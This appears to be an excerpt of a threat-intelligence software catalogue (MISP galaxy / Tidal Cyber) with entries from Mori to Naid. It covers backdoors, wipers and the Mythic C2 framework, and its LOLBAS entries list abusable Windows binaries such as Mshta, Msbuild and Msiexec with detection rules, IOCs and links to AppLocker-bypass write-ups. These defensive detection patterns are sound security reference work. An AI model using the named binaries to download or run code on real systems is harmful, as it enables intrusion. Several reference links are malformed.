The tag is: *misp-galaxy:software="More_eggs"*

Mori

[Mori](https://app.tidalcyber.com/software/385e1eaf-9ba8-4381-981a-3c7af718a77d) is a backdoor that has been used by [MuddyWater](https://app.tidalcyber.com/groups/dcb260d8-9d53-404f-9ff5-dbee2c6effe6) since at least January 2022.^{[[DHS CISA AA22-055A MuddyWater February 2022](https://app.tidalcyber.com/references/e76570e1-43ab-4819-80bc-895ede67a205)]}^{[[CYBERCOM Iranian Intel Cyber January 2022](https://app.tidalcyber.com/references/671e1559-c7dc-4cb4-a9a1-21776f2ae56a)]}

The tag is: *misp-galaxy:software="Mori"*

Mosquito

[Mosquito](https://app.tidalcyber.com/software/c3939dad-d728-4ddb-804e-cf1e3743a55d) is a Win32 backdoor that has been used by [Turla](https://app.tidalcyber.com/groups/47ae4fb1-fc61-4e8e-9310-66dda706e1a2). [Mosquito](https://app.tidalcyber.com/software/c3939dad-d728-4ddb-804e-cf1e3743a55d) is made up of three parts: the installer, the launcher, and the backdoor. The main backdoor is called CommanderDLL and is launched by the loader program. ^{[[ESET Turla Mosquito Jan 2018](https://app.tidalcyber.com/references/cd177c2e-ef22-47be-9926-61e25fd5f33b)]}

The tag is: *misp-galaxy:software="Mosquito"*

mount (Unix)

In computing, mount is a command in various operating systems. Before a user can access a file on a Unix-like machine, the file system on the device[1] which contains the file needs to be mounted with the mount command. Frequently mount is used for SD card, USB storage, DVD and other removable storage devices. The command is also available in the EFI shell.^{[[Wikimedia Foundation Inc. September 5 2005](/references/640c20b4-a449-48d4-8db7-1cb6837287ff)]}

The tag is: *misp-galaxy:software="mount (Unix)"*

MpCmdRun

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Binary part of Windows Defender. Used to manage settings in Windows Defender

Author: Oddvar Moe

Paths: * C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.4-0\MpCmdRun.exe * C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.7-0\MpCmdRun.exe *

C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe

Resources: * https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-antivirus/command-line-arguments-microsoft-defender-antivirus * https://twitter.com/mohammadaskar2/status/1301263551638761477 * https://twitter.com/Oddvarmoe/status/1301444858910052352 * https://twitter.com/NotMedic/status/1301506813242867720

Detection: * Sigma: [win_susp_mpcmdrun_download.yml](https://github.com/SigmaHQ/sigma/blob/159bf4bbc103cc2be3fef4b7c2e7c8b23b63fd10/rules/windows/process_creation/win_susp_mpcmdrun_download.yml) * Elastic: [command_and_control_remote_file_copy_mpcmdrun.toml](https://github.com/elastic/detection-rules/blob/6ef5c53b0c15e344f0f2d1649941391aea6fa253/rules/windows/command_and_control_remote_file_copy_mpcmdrun.toml) * IOC: MpCmdRun storing data into alternate data streams. * IOC: MpCmdRun retrieving a file from a remote machine or the internet that is not expected. * IOC: Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching mpcmdrun.exe. * IOC: Monitor for the creation of %USERPROFILE%\AppData\Local\Temp\MpCmdRun.log * IOC: User Agent is "MpCommunication"^{[[MpCmdRun.exe - LOLBAS Project](/references/2082d5ca-474f-4130-b275-c1ac5e30064c)]}

The tag is: *misp-galaxy:software="MpCmdRun"*

mrAgent

MrAgent is a malware tool used to automate ransomware deployment on ESXi hypervisors. It provides remote access to compromised hosts, allowing threat actors to disable security controls and operate mass encryption. MrAgent gathers information on virtual environments and tracks ransomware execution across infected hypervisors.

The tag is: *misp-galaxy:software="mrAgent"*

MSAccess

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Microsoft Office component

Author: Nir Chako

Paths: * C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\MSAccess.exe * C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\MSAccess.exe * C:\Program Files (x86)\Microsoft Office\Office16\MSAccess.exe * C:\Program Files\Microsoft

Office\Office16\MSAccess.exe * C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\MSAccess.exe * C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\MSAccess.exe * C:\Program Files (x86)\Microsoft Office\Office15\MSAccess.exe * C:\Program Files\Microsoft Office\Office15\MSAccess.exe * C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\MSAccess.exe * C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\MSAccess.exe * C:\Program Files (x86)\Microsoft Office\Office14\MSAccess.exe * C:\Program Files\Microsoft Office\Office14\MSAccess.exe * C:\Program Files (x86)\Microsoft Office\Office12\MSAccess.exe * C:\Program Files\Microsoft Office\Office12\MSAccess.exe

Resources: None Provided

Detection: * IOC: URL on a MSAccess command line * IOC: MSAccess making unexpected network connections or DNS requests^{[[MSAccess.exe - LOLBAS Project](/references/2796b750-4801-4a36-b67a-00cde283fb7c)]}

The tag is: *misp-galaxy:software="MSAccess"*

Msbuild

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Used to compile and execute code

Author: Oddvar Moe

Paths: * C:\Windows\Microsoft.NET\Framework\v2.0.50727\Msbuild.exe * C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Msbuild.exe * C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe * C:\Windows\Microsoft.NET\Framework64\v3.5\Msbuild.exe * C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe * C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Msbuild.exe * C:\Program Files (x86)\MSBuild\14.0\bin\MSBuild.exe

Resources: * https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1127/T1127.md * https://github.com/Cn33liz/MSBuildShell * https://pentestlab.blog/2017/05/29/applocker-bypass-msbuild/ * https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/ * https://gist.github.com/bohops/4ffc43a281e87d108875f07614324191 * https://github.com/LOLBAS-Project/LOLBAS/issues/165 * https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild-response-files * https://www.daveaglick.com/posts/msbuild-loggers-and-logging-events

Detection: * Sigma: [file_event_win_shell_write_susp_directory.yml](https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/file/file_event/file_event_win_shell_write_susp_directory.yml) * Sigma: [proc_creation_win_msbuild_susp_parent_process.yml](https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_msbuild_susp_parent_process.yml) * Sigma: [net_connection_win_silenttrinity_stager_msbuild_activity.yml](https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/network_connection/net_connection_win_silenttrinity_stager_msbuild_activity.yml) * Splunk: [suspicious_msbuild_spawn.yml](https://github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/suspicious_msbuild_spawn.yml) * Splunk: [suspicious_msbuild_rename.yml](https://github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/suspicious_msbuild_rename.yml) * Splunk: [msbuild_suspicious_spawned_by_script_process.yml](https://github.com/splunk/security_content/blob/a1afa0fa605639cbef7d528dec46ce7c8112194a/detections/endpoint/msbuild_suspicious_spawned_by_script_process.yml) * Elastic: [defense_evasion_msbuild_beacon_sequence.toml](https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_msbuild_beacon_sequence.toml) * Elastic: [defense_evasion_msbuild_making_network_connections.toml](https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_msbuild_making_network_connections.toml) * Elastic: [defense_evasion_execution_msbuild_started_by_script.toml](https://github.com/elastic/detection-rules/blob/ef7548f04c4341e0d1a172810330d59453f46a21/rules/windows/defense_evasion_execution_msbuild_started_by_script.toml) * Elastic: [defense_evasion_execution_msbuild_started_by_office_app.toml](https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_execution_msbuild_started_by_office_app.toml) * Elastic: [defense_evasion_execution_msbuild_started_renamed.toml](https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_execution_msbuild_started_renamed.toml) * BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules * IOC: Msbuild.exe should not normally be executed on workstations^{[[LOLBAS Msbuild](/references/de8e0741-255b-4c41-ba50-248ac5acc325)]}

The tag is: *misp-galaxy:software="Msbuild"*

Msconfig

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: MSConfig is a troubleshooting tool which is used to temporarily disable or re-enable

software, device drivers or Windows services that run during startup process to help the user determine the cause of a problem with Windows

Author: Oddvar Moe

Paths: * C:\Windows\System32\msconfig.exe

Resources: * https://twitter.com/pabraeken/status/991314564896690177

Detection: * Sigma: [proc_creation_win_uac_bypass_msconfig_gui.yml](https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_uac_bypass_msconfig_gui.yml) * Sigma: [file_event_win_uac_bypass_msconfig_gui.yml](https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/file/file_event/file_event_win_uac_bypass_msconfig_gui.yml) * IOC: mscfgtlc.xml changes in system32 folder^{[[Msconfig.exe - LOLBAS Project](/references/a073d2fc-d20d-4a52-944e-85ff89f04978)]}

The tag is: *misp-galaxy:software="Msconfig"*

Msdeploy

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Microsoft tool used to deploy Web Applications.

Author: Oddvar Moe

Paths: * C:\Program Files (x86)\IIS\Microsoft Web Deploy V3\msdeploy.exe

Resources: * https://twitter.com/pabraeken/status/995837734379032576 * https://twitter.com/pabraeken/status/999090532839313408

Detection: * Sigma: [proc_creation_win_lolbin_msdeploy.yml]([Msdeploy.exe - LOLBAS Project](/references/e563af9a-5e49-4612-a52b-31f22f76193c)]</sup>

The tag is: *misp-galaxy:software="Msdeploy"*

Msdt

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Microsoft diagnostics tool

Author: Oddvar Moe

Paths: * C:\Windows\System32\Msdt.exe * C:\Windows\SysWOW64\Msdt.exe

Resources: * https://web.archive.org/web/20160322142537/https://cybersyndicates.com/2015/10/a-no-bull-guide-to-malicious-windows-trouble-shooting-packs-and-application-whitelist-bypass/ * https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/ * https://twitter.com/harr0ey/status/991338229952598016 * https://twitter.com/nas_bench/status/1531944240271568896

Detection: * Sigma: [proc_creation_win_lolbin_msdt_answer_file.yml](https://github.com/SigmaHQ/sigma/blob/6199a703221a98ae6ad343c79c558da375203e4e/rules/windows/process_creation/proc_creation_win_lolbin_msdt_answer_file.yml) * Sigma: [proc_creation_win_msdt_arbitrary_command_execution.yml](https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_msdt_arbitrary_command_execution.yml) * Elastic: [defense_evasion_network_connection_from_windows_binary.toml]([Msdt.exe - LOLBAS Project(/references/3eb1750c-a2f2-4d68-b060-ceb32f44f5fe)]</sup>

The tag is: *misp-galaxy:software="Msdt"*

Msedge

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Microsoft Edge browser

Author: mr.d0x

Paths: * c:\Program Files\Microsoft\Edge\Application\msedge.exe * c:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Resources: * https://twitter.com/mrd0x/status/1478116126005641220 * https://twitter.com/mrd0x/status/1478234484881436672

Detection: * Sigma: [proc_creation_win_browsers_msedge_arbitrary_download.yml](https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_browsers_msedge_arbitrary_download.yml) * Sigma: [proc_creation_win_browsers_chromium_headless_file_download.yml]([Msedge.exe - LOLBAS

Project(/references/6169c12e-9753-4e48-8213-aff95b0f6a95)]</sup>

The tag is: *misp-galaxy:software="Msedge"*

msedge_proxy

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Microsoft Edge Browser

Author: Mert Daş

Paths: * C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge_proxy.exe

Resources: None Provided

Detection: None Provided^{[[msedge_proxy.exe - LOLBAS Project](/references/a6fd4727-e22f-4157-9a5f-1217cb876b32)]}

The tag is: *misp-galaxy:software="msedge_proxy"*

msedgewebview2

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: msedgewebview2.exe is the executable file for Microsoft Edge WebView2, which is a web browser control used by applications to display web content.

Author: Matan Bahar

Paths: * C:\Program Files (x86)\Microsoft\Edge\Application\114.0.1823.43\msedgewebview2.exe

Resources: * https://medium.com/@MalFuzzer/one-electron-to-rule-them-all-dc2e9b263daf

Detection: * IOC: msedgewebview2.exe spawned with any of the following: --gpu-launcher, --utility-cmd-prefix, --renderer-cmd-prefix, --browser-subprocess-path^{[[msedgewebview2.exe - LOLBAS Project](/references/8125ece7-10d1-4e79-8ea1-724fe46a3c97)]}

The tag is: *misp-galaxy:software="msedgewebview2"*

Mshta

This object contains information sourced from the [Living Off The Land Binaries, Scripts and

Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Used by Windows to execute html applications. (.hta)

Author: Oddvar Moe

Paths: * C:\Windows\System32\mshta.exe * C:\Windows\SysWOW64\mshta.exe

Resources: * https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_4 * https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Payloads/mshta.sct * https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/ * https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/

Detection: * Sigma: [proc_creation_win_mshta_susp_pattern.yml](https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_mshta_susp_pattern.yml) * Sigma: [proc_creation_win_hktl_invoke_obfuscation_via_use_mhsta.yml](https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_via_use_mhsta.yml) * Sigma: [proc_creation_win_mshta_lethalhta_technique.yml](https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_mshta_lethalhta_technique.yml) * Sigma: [proc_creation_win_mshta_javascript.yml](https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_mshta_javascript.yml) * Sigma: [file_event_win_net_cli_artefact.yml](https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/file/file_event/file_event_win_net_cli_artefact.yml) * Sigma: [image_load_susp_script_dotnet_clr_dll_load.yml](https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/image_load/image_load_susp_script_dotnet_clr_dll_load.yml) * Elastic: [defense_evasion_mshta_beacon.toml](https://github.com/elastic/detection-rules/blob/f8f643041a584621e66cf8e6d534ad3db92edc29/rules/windows/defense_evasion_mshta_beacon.toml) * Elastic: [lateral_movement_dcom_hta.toml](https://github.com/elastic/detection-rules/blob/cc241c0b5ec590d76cb88ec638d3cc37f68b5d50/rules/windows/lateral_movement_dcom_hta.toml) * Elastic: [defense_evasion_suspicious_managedcode_host_process.toml](https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml) * Splunk: [suspicious_mshta_activity.yml](https://github.com/splunk/security_content/blob/08ed88bd88259c03c771c30170d2934ed0a8f878/stories/suspicious_mshta_activity.yml) * Splunk: [detect_mshta_renamed.yml](https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_mshta_renamed.yml) * Splunk: [suspicious_mshta_spawn.yml](https://github.com/splunk/security_content/blob/

18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/suspicious_mshta_spawn.yml) * Splunk: [suspicious_mshta_child_process.yml](https://github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/suspicious_mshta_child_process.yml) * Splunk: [detect_mshta_url_in_command_line.yml](https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_mshta_url_in_command_line.yml) * BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules * IOC: mshta.exe executing raw or obfuscated script within the command-line * IOC: General usage of HTA file * IOC: msthta.exe network connection to Internet/WWW resource * IOC: DotNet CLR libraries loaded into mshta.exe * IOC: DotNet CLR Usage Log - mshta.exe.log^{[[LOLBAS Mshta](/references/915a4aef-800e-4c68-ad39-df67c3dbaf75)]}

The tag is: *misp-galaxy:software="Mshta"*

Mshtml

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Microsoft HTML Viewer

Author: LOLBAS Team

Paths: * c:\windows\system32\mshtml.dll * c:\windows\syswow64\mshtml.dll

Resources: * https://twitter.com/pabraeken/status/998567549670477824 * https://windows10dll.nirsoft.net/mshtml_dll.html

Detection: * Sigma: [proc_creation_win_rundll32_susp_activity.yml]([Mshtml.dll - LOLBAS Project](/references/1a135e0b-5a79-4a4c-bc70-fd8f3f84e1f0)]</sup>

The tag is: *misp-galaxy:software="Mshtml"*

Msiexec

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Used by Windows to execute msi files

Author: Oddvar Moe

Paths: * C:\Windows\System32\msiexec.exe * C:\Windows\SysWOW64\msiexec.exe

Resources: * https://pentestlab.blog/2017/06/16/applocker-bypass-msiexec/ * https://twitter.com/PhilipTsukerman/status/992021361106268161 * https://badoption.eu/blog/2023/10/03/MSIFortune.html

Detection: * Sigma: [proc_creation_win_msiexec_web_install.yml](https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_msiexec_web_install.yml) * Sigma: [proc_creation_win_msiexec_masquerading.yml](https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_msiexec_masquerading.yml) * Elastic: [defense_evasion_network_connection_from_windows_binary.toml](https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml) * Splunk: [uninstall_app_using_msiexec.yml](https://github.com/splunk/security_content/blob/18f63553a9dc1a34122fa123deae2b2f9b9ea391/detections/endpoint/uninstall_app_using_msiexec.yml) * IOC: msiexec.exe retrieving files from Internet^{[[LOLBAS Msiexec](/references/996cc7ea-0729-4c51-b9c3-b201ec32e984)]}

The tag is: *misp-galaxy:software="Msiexec"*

MsoHtmEd

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Microsoft Office component

Author: Nir Chako

Paths: * C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\MSOHTMED.exe * C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\MSOHTMED.exe * C:\Program Files (x86)\Microsoft Office\Office16\MSOHTMED.exe * C:\Program Files\Microsoft Office\Office16\MSOHTMED.exe * C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\MSOHTMED.exe * C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\MSOHTMED.exe * C:\Program Files (x86)\Microsoft Office\Office15\MSOHTMED.exe * C:\Program Files\Microsoft Office\Office15\MSOHTMED.exe * C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\MSOHTMED.exe * C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\MSOHTMED.exe * C:\Program Files (x86)\Microsoft Office\Office14\MSOHTMED.exe * C:\Program Files\Microsoft Office\Office14\MSOHTMED.exe * C:\Program Files (x86)\Microsoft Office\Office12\MSOHTMED.exe * C:\Program Files\Microsoft Office\Office12\MSOHTMED.exe * C:\Program Files\Microsoft Office\Office12\MSOHTMED.exe

Resources: None Provided

Detection: * Sigma: [proc_creation_win_lolbin_msohtmed_download.yml](https://github.com/SigmaHQ/sigma/blob/19396788dbedc57249a46efed2bb1927abc376d4/rules/windows/process_creation/proc_creation_win_lolbin_msohtmed_download.yml) * IOC: Suspicious Office application internet/network traffic^{[[MsoHtmEd.exe - LOLBAS Project](/references/c39fdefa-4c54-48a9-8357-ffe4dca2a2f4)]}

The tag is: *misp-galaxy:software="MsoHtmEd"*

Mspub

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Microsoft Publisher

Author: Nir Chako

Paths: * C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\MSPUB.exe * C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\MSPUB.exe * C:\Program Files (x86)\Microsoft Office\Office16\MSPUB.exe * C:\Program Files\Microsoft Office\Office16\MSPUB.exe * C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\MSPUB.exe * C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\MSPUB.exe * C:\Program Files (x86)\Microsoft Office\Office15\MSPUB.exe * C:\Program Files\Microsoft Office\Office15\MSPUB.exe * C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\MSPUB.exe * C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\MSPUB.exe * C:\Program Files (x86)\Microsoft Office\Office14\MSPUB.exe * C:\Program Files\Microsoft Office\Office14\MSPUB.exe

Resources: None Provided

Detection: * Sigma: [proc_creation_win_lolbin_mspub_download.yml](https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_mspub_download.yml) * IOC: Suspicious Office application internet/network traffic^{[[Mspub.exe - LOLBAS Project](/references/41eff63a-fef0-4b4b-86f7-0908150fcfcf)]}

The tag is: *misp-galaxy:software="Mspub"*

msxsl

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Command line utility used to perform XSL transformations.

Author: Oddvar Moe

Paths: * no default

Resources: * https://twitter.com/subTee/status/877616321747271680 * https://github.com/3gstudent/Use-msxsl-to-bypass-AppLocker * https://github.com/RonnieSalomonsen/Use-msxsl-to-download-file

Detection: * Sigma: [proc_creation_win_wmic_xsl_script_processing.yml](https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_wmic_xsl_script_processing.yml) * Elastic: [defense_evasion_msxsl_beacon.toml](https://github.com/elastic/detection-rules/blob/cc241c0b5ec590d76cb88ec638d3cc37f68b5d50/rules/windows/defense_evasion_msxsl_beacon.toml) * Elastic: [defense_evasion_msxsl_network.toml](https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_msxsl_network.toml) * Elastic: [defense_evasion_network_connection_from_windows_binary.toml]([msxsl.exe - LOLBAS Project(/references/4e1ed0a8-60d0-45e2-9592-573b904811f8)]</sup>

The tag is: *misp-galaxy:software="msxsl"*

MultiLayer Wiper

[MultiLayer Wiper](https://app.tidalcyber.com/software/b5f46c32-b316-5d9c-8dc1-a53df5487493) is wiper malware written in .NET associated with [Agrius](https://app.tidalcyber.com/groups/36c70cf2-c7d5-5926-8155-5d3a63e3e55a) operations. Observed samples of [MultiLayer Wiper](https://app.tidalcyber.com/software/b5f46c32-b316-5d9c-8dc1-a53df5487493) have an anomalous, future compilation date suggesting possible metadata manipulation.^{[[Unit42 Agrius 2023](https://app.tidalcyber.com/references/70fb43bd-f8e1-56a5-a0e9-884e85f16b10)]}

The tag is: *misp-galaxy:software="MultiLayer Wiper"*

MURKYTOP

[MURKYTOP](https://app.tidalcyber.com/software/768111f9-0948-474b-82a6-cd5455079513) is a reconnaissance tool used by [Leviathan](https://app.tidalcyber.com/groups/eadd78e3-3b5d-430a-b994-4360b172c871). ^{[[FireEye Periscope March 2018](https://app.tidalcyber.com/references/8edb5d2b-b5c4-4d9d-8049-43dd6ca9ab7f)]}

The tag is: *misp-galaxy:software="MURKYTOP"*

Mythic

[Mythic](https://app.tidalcyber.com/software/f1398367-a0af-4a89-b240-50cae4985ed9) is an open source, cross-platform post-exploitation/command and control platform. [Mythic](https://app.tidalcyber.com/software/f1398367-a0af-4a89-b240-50cae4985ed9) is designed to "plug-n-play" with various agents and communication channels.^{[[Mythic Github](https://app.tidalcyber.com/references/20d0adf0-b832-4b03-995e-dfb56474ddcc)]}<sup>[[Mythic SpecterOps](https://app.tidalcyber.com/references/98d4453e-

2e80-422a-ac8c-47f650f46e3c)]</sup>^{[[Mythc Documentation](https://app.tidalcyber.com/references/de3091b4-663e-4d9e-9dde-51250749863d)]} Deployed [Mythic](https://app.tidalcyber.com/software/f1398367-a0af-4a89-b240-50cae4985ed9) C2 servers have been observed as part of potentially malicious infrastructure.^{[[RecordedFuture 2021 Ad Infra](https://app.tidalcyber.com/references/d509e6f2-c317-4483-a51e-ad15a78a12c0)]}

The tag is: *misp-galaxy:software="Mythic"*

N-able

A legitimate remote access software tool used by adversaries to facilitate command and control activity and usually for additional purposes.^{[[U.S. CISA Medusa Ransomware March 12 2025](/references/16dc8fe1-73fa-4f8a-92a0-b1fac2908c47)]}

The tag is: *misp-galaxy:software="N-able"*

Naid

[Naid](https://app.tidalcyber.com/software/5cfd6135-c53b-4234-a17e-759494b2101f) is a trojan used by [Elderwood](https://app.tidalcyber.com/groups/51146bb6-7478-44a3-8f08-19adcdceffca) to open a backdoor on compromised hosts. ^{[[Symantec Elderwood Sept 2012](https://app.tidalcyber.com/references/5e908748-d260-42f1-a599-ac38b4e22559)]} ^{[[Symantec Naid June 2012](https://app.tidalcyber.com/references/dc3c16b3-e06b-4b56-b6bd-b98a0b39df3b)]}

The tag is: *misp-galaxy:software="Naid"*

NanHaiShu

